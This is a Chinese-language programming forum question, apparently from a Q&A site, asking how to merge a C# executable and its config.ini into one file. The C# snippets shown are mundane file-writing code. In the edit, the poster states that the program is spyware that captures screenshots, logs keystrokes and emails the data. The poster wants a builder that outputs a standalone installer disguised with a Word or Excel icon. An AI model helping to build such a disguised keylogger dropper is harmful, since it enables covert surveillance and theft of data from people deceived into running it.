我有 2 个应用程序和一个 config.ini 文件。
- 经理项目
- 主要项目
主项目被编译并添加到管理器项目(作为资源)。主项目也正在从 config.ini 文件中获取设置。
从 Manager Project 我可以以这种方式保存 MainProject:
File.WriteAllBytes("MainProject.exe", ManagerProject.Properties.Resources.MainProject); //get MainProject exe an save it
然后我可以为 MainProject.exe 编写 config.ini:
StreamWriter sw = new StreamWriter("config.ini");
sw.WriteLine("1"); //whatever
sw.Close();
但我想将这两个文件(config.ini 和 MainProject.exe)加入一个 exe 文件。用户看不到那个 config.ini。
我正在考虑将 config.ini 添加为资源文件,但是当项目已经编译时可以这样做吗?
我该怎么做?
//编辑
我有间谍程序(制作屏幕截图,将键盘记录到文件等)。在我的 ManagerProject 中,我有安装监控、卸载和配置等选项。
我想做“使用我的配置创建独立监视器”。此选项应使用指定的设置(制作屏幕截图的频率、电子邮件数据等)创建 .exe,例如使用 word 或 excel 图标。而这个带有自定义配置的独立exe应该在点击后安装监控。
但是我在将 exe 和 config.ini 合并到一个文件时遇到了问题...
有什么想法可以解决这个问题吗?